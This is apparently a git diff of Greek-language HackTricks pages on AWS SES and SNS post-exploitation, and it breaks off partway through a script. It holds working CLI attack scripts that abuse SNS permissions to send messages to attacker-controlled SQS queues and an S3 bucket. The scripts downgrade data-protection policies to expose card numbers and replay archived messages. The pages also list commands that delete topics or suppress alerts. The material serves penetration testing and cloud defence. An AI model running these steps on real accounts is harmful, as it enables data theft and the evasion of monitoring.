aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Στείλτε ένα email σε πολλαπλούς προορισμούς
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Στείλτε ένα email σε πολλαπλούς προορισμούς.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Στείλτε ένα **bounce email** σε ένα ληφθέν email (υποδεικνύοντας ότι το email δεν μπορούσε να παραληφθεί). Αυτό μπορεί να γίνει **μέχρι 24 ώρες μετά τη λήψη** του email.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Αυτό θα στείλει ένα προσαρμοσμένο email επιβεβαίωσης. Μπορεί να χρειαστείτε άδειες επίσης για να δημιουργήσετε το πρότυπο email.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Ακόμα προς δοκιμή.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Αποστολή email.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Ακόμα πρέπει να δοκιμαστεί.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Στείλτε ένα email.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Ακόμα δεν έχει δοκιμαστεί.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Αποστολή email με βάση ένα πρότυπο.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Πρέπει ακόμη να δοκιμαστεί.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Αποστέλλει ένα email σε πολλούς παραλήπτες
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Δεν έχει δοκιμαστεί ακόμη.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Αποστολή email σε πολλούς παραλήπτες.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Αποστολή ενός **bounce email** πάνω σε ένα ληφθέν email (που υποδεικνύει ότι το email δεν μπόρεσε να παραληφθεί). Αυτό μπορεί να γίνει μόνο **έως 24h μετά τη λήψη** του email.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Ακόμα πρέπει να δοκιμαστεί.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Αυτό θα στείλει ένα εξατομικευμένο επαληθευτικό μήνυμα ηλεκτρονικού ταχυδρομείου. Μπορεί επίσης να χρειαστείτε δικαιώματα για να δημιουργήσετε το πρότυπο μηνύματος.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Ακόμα πρέπει να δοκιμαστεί.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,68 +0,0 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Διακοπή Μηνυμάτων
|
||||
|
||||
Σε πολλές περιπτώσεις, τα θέματα SNS χρησιμοποιούνται για την αποστολή μηνυμάτων σε πλατφόρμες που παρακολουθούνται (emails, slack messages...). Εάν ένας επιτιθέμενος αποτρέψει την αποστολή των μηνυμάτων που προειδοποιούν για την παρουσία του στο cloud, θα μπορούσε να παραμείνει αόρατος.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το θέμα SNS, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται στο θέμα.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν το διαγραμμένο θέμα.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο θέμα SNS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη προγραμματισμένες ενέργειες ή εξαντλώντας πόρους.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά ενός θέματος SNS, επηρεάζοντας ενδεχομένως την απόδοσή του, την ασφάλεια ή τη διαθεσιμότητά του.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Λάθη στη διαμόρφωση που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφαλείας ή μειωμένη διαθεσιμότητα.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να εγγραφεί ή να διαγραφεί από ένα θέμα SNS, αποκτώντας πιθανώς μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας τη φυσιολογική λειτουργία εφαρμογών που βασίζονται στο θέμα.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε μηνύματα, διακοπή υπηρεσιών για εφαρμογές που βασίζονται στο επηρεαζόμενο θέμα.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να παραχωρήσει μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα θέμα SNS, ή να ανακαλέσει άδειες για νόμιμους χρήστες, προκαλώντας διαταραχές στη φυσιολογική λειτουργία των εφαρμογών που βασίζονται στο θέμα.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο θέμα, έκθεση μηνυμάτων ή χειρισμός του θέματος από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στο θέμα.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους SNS, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε ετικέτες.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Διακοπή μηνυμάτων
|
||||
|
||||
Σε πολλές περιπτώσεις, SNS topics χρησιμοποιούνται για την αποστολή μηνυμάτων σε πλατφόρμες που παρακολουθούνται (emails, slack messages...). Αν ένας επιτιθέμενος αποτρέψει την αποστολή των μηνυμάτων που ειδοποιούν για την παρουσία του στο cloud, μπορεί να παραμείνει αόρατος.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο ένα SNS topic, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας εφαρμογές που βασίζονται στο topic.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Potential Impact**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για τις εφαρμογές που χρησιμοποιούν το διαγραμμένο topic.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο SNS topic, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποίηση ανεπιθύμητων ενεργειών ή εξάντληση πόρων.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Potential Impact**: Διαφθορά δεδομένων, ανεπιθύμητες ενέργειες ή εξάντληση πόρων.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά ενός SNS topic, επηρεάζοντας ενδεχομένως την απόδοσή του, την ασφάλειά του ή τη διαθεσιμότητά του.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Λανθασμένες ρυθμίσεις που οδηγούν σε υποβαθμισμένη απόδοση, θέματα ασφάλειας ή μειωμένη διαθεσιμότητα.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Ενας επιτιθέμενος θα μπορούσε να εγγραφεί ή να διαγραφεί από ένα SNS topic, αποκτώντας ενδεχομένως μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας την κανονική λειτουργία εφαρμογών που βασίζονται στο topic.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στα μηνύματα, διακοπή υπηρεσίας για εφαρμογές που βασίζονται στο επηρεαζόμενο topic.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να παραχωρήσει σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα SNS topic, ή να ανακαλέσει δικαιώματα από νόμιμους χρήστες, προκαλώντας διαταραχές στην κανονική λειτουργία των εφαρμογών που βασίζονται στο topic.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potential Impact**: Μη εξουσιοδοτημένη πρόσβαση στο topic, έκθεση μηνυμάτων, ή χειραγώγηση του topic από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διακοπή της κανονικής λειτουργίας των εφαρμογών που εξαρτώνται από το topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει tags από πόρους SNS, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης βάσει tags.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Διαταραχή της κατανομής κόστους, της παρακολούθησης πόρων και των πολιτικών ελέγχου πρόσβασης βάσει ετικετών.
|
||||
|
||||
### Περισσότερες SNS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αν έχετε `sns:PutDataProtectionPolicy` σε ένα topic, μπορείτε να αλλάξετε την πολιτική Message Data Protection από Deidentify/Deny σε Audit-only (ή να αφαιρέσετε τους Outbound ελέγχους) ώστε ευαίσθητες τιμές (π.χ. αριθμοί πιστωτικών καρτών) να παραδοθούν αμετάβλητες στη συνδρομή σας.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Δικαιώματα στο target topic για να καλέσετε `sns:PutDataProtectionPolicy` (και συνήθως `sns:Subscribe` αν θέλετε να λάβετε τα δεδομένα).
|
||||
- Standard SNS topic (Message Data Protection υποστηρίζεται).
|
||||
|
||||
## Βήματα επίθεσης
|
||||
|
||||
- Μεταβλητές
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Δημιουργήστε ένα standard topic και μια attacker SQS queue, και επιτρέψτε μόνο σε αυτό το topic να στέλνει στην queue
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Επισυνάψτε μια data protection policy που αποκρύπτει αριθμούς πιστωτικών καρτών σε outbound μηνύματα
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Subscribe την attacker queue και publish ένα μήνυμα με δοκιμαστικό αριθμό πιστωτικής κάρτας, επαληθεύστε την απόκρυψη
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
Το αναμενόμενο απόσπασμα δείχνει την απόκρυψη (hashes):
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Υποβάθμιση της πολιτικής σε audit-only (χωρίς δηλώσεις deidentify/deny που επηρεάζουν το Outbound)
|
||||
|
||||
Για SNS, οι δηλώσεις Audit πρέπει να είναι Inbound. Η αντικατάσταση της πολιτικής με μια Audit-only Inbound δήλωση αφαιρεί οποιαδήποτε Outbound de-identification, οπότε τα μηνύματα ρέουν χωρίς τροποποίηση προς τους συνδρομητές.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Δημοσιεύστε το ίδιο μήνυμα και επαληθεύστε ότι η unmasked τιμή παραδίδεται
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Το αναμενόμενο απόσπασμα εμφανίζει το CC σε cleartext:
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Επιπτώσεις
|
||||
- Η αλλαγή ενός topic από de-identification/deny σε audit-only (ή με οποιονδήποτε άλλο τρόπο η αφαίρεση των Outbound controls) επιτρέπει σε PII/secrets να περάσουν αμετάβλητα σε attacker-controlled subscriptions, γεγονός που επιτρέπει data exfiltration η οποία διαφορετικά θα ήταν αποκρυμμένη ή θα είχε μπλοκαριστεί.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κατάχρηση της αρχειοθέτησης μηνυμάτων ενός Amazon SNS FIFO topic για να replay και exfiltrate προηγουμένως δημοσιευμένα μηνύματα σε έναν SQS FIFO queue ελεγχόμενο από attacker, ρυθμίζοντας την subscription ReplayPolicy.
|
||||
|
||||
- Υπηρεσία: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Απαιτήσεις: Το topic πρέπει να έχει ενεργοποιημένο το `ArchivePolicy` (αρχειοθέτηση μηνυμάτων). Ο attacker μπορεί να `Subscribe` στο topic και να ορίσει attributes στη subscription του. Ο attacker ελέγχει έναν SQS FIFO queue και επιτρέπει στο topic να στέλνει μηνύματα.
|
||||
- Επίπτωση: Ιστορικά μηνύματα (δημοσιευμένα πριν τη δημιουργία της subscription) μπορούν να παραδοθούν στο attacker endpoint. Οι επαναπροβληθείσες παραδόσεις επισημαίνονται με `Replayed=true` στο SNS envelope.
|
||||
|
||||
## Προαπαιτούμενα
|
||||
- SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση: `ArchivePolicy` (π.χ., `{ "MessageRetentionPeriod": "2" }` για 2 ημέρες).
|
||||
- Ο attacker έχει δικαιώματα για:
|
||||
- `sns:Subscribe` στο target topic.
|
||||
- `sns:SetSubscriptionAttributes` στη δημιουργημένη subscription.
|
||||
- Ο attacker έχει έναν SQS FIFO queue και μπορεί να επισυνάψει ένα queue policy που επιτρέπει `sns:SendMessage` από το topic ARN.
|
||||
|
||||
## Ελάχιστα IAM δικαιώματα
|
||||
- Στο topic: `sns:Subscribe`.
|
||||
- Στη subscription: `sns:SetSubscriptionAttributes`.
|
||||
- Στον queue: `sqs:SetQueueAttributes` για το policy, και queue policy που επιτρέπει `sns:SendMessage` από το topic ARN.
|
||||
|
||||
## Attack: Replay archived messages to attacker SQS FIFO
|
||||
Ο attacker κάνει subscribe τον SQS FIFO queue του στο victim SNS FIFO topic, και στη συνέχεια ορίζει το `ReplayPolicy` σε ένα timestamp στο παρελθόν (εντός του window διατήρησης του archive). Το SNS αμέσως replay-άρει τα ταιριαστά αρχειοθετημένα μηνύματα στη νέα subscription και τα σηματοδοτεί με `Replayed=true`.
|
||||
|
||||
Σημειώσεις:
|
||||
- Το timestamp που χρησιμοποιείται στο `ReplayPolicy` πρέπει να είναι >= του `BeginningArchiveTime` του topic. Αν είναι νωρίτερα, το API επιστρέφει `Invalid StartingPoint value`.
|
||||
- Για SNS FIFO `Publish`, πρέπει να καθορίσετε `MessageGroupId` (και είτε dedup ID είτε να ενεργοποιήσετε το `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI POC (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Επιπτώσεις
|
||||
**Πιθανή Επίπτωση**: Ένας επιτιθέμενος που μπορεί να εγγραφεί σε ένα SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση και να ορίσει `ReplayPolicy` στη συνδρομή του, μπορεί αμέσως να επαναλάβει (replay) και να exfiltrate ιστορικά μηνύματα που έχουν δημοσιευτεί σε αυτό το topic, όχι μόνο μηνύματα που στάλθηκαν μετά τη δημιουργία της συνδρομής. Τα παραδοθέντα μηνύματα περιλαμβάνουν την ένδειξη `Replayed=true` στο SNS envelope.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κατάχρηση του πρωτοκόλλου συνδρομής Firehose για να καταχωρήσετε ένα υπό έλεγχο από επιτιθέμενο Kinesis Data Firehose delivery stream σε ένα θύμα SNS standard topic. Μόλις η συνδρομή είναι εγκατεστημένη και ο απαιτούμενος IAM role εμπιστεύεται `sns.amazonaws.com`, κάθε μελλοντική ειδοποίηση καταχωρείται μόνιμα στο S3 bucket του επιτιθέμενου με ελάχιστο θόρυβο.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Δικαιώματα στον λογαριασμό του επιτιθέμενου για να δημιουργήσει ένα S3 bucket, Firehose delivery stream, και τον IAM role που χρησιμοποιείται από το Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, κ.λπ.).
|
||||
- Η δυνατότητα να εκτελέσει `sns:Subscribe` στο topic του θύματος (και προαιρετικά `sns:SetSubscriptionAttributes` αν το subscription role ARN παρέχεται μετά τη δημιουργία).
|
||||
- Μια topic policy που επιτρέπει στον attacker principal να εγγραφεί (ή ο επιτιθέμενος ήδη δρα μέσα στον ίδιο λογαριασμό).
|
||||
|
||||
## Βήματα επίθεσης (παράδειγμα εντός του ίδιου λογαριασμού)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
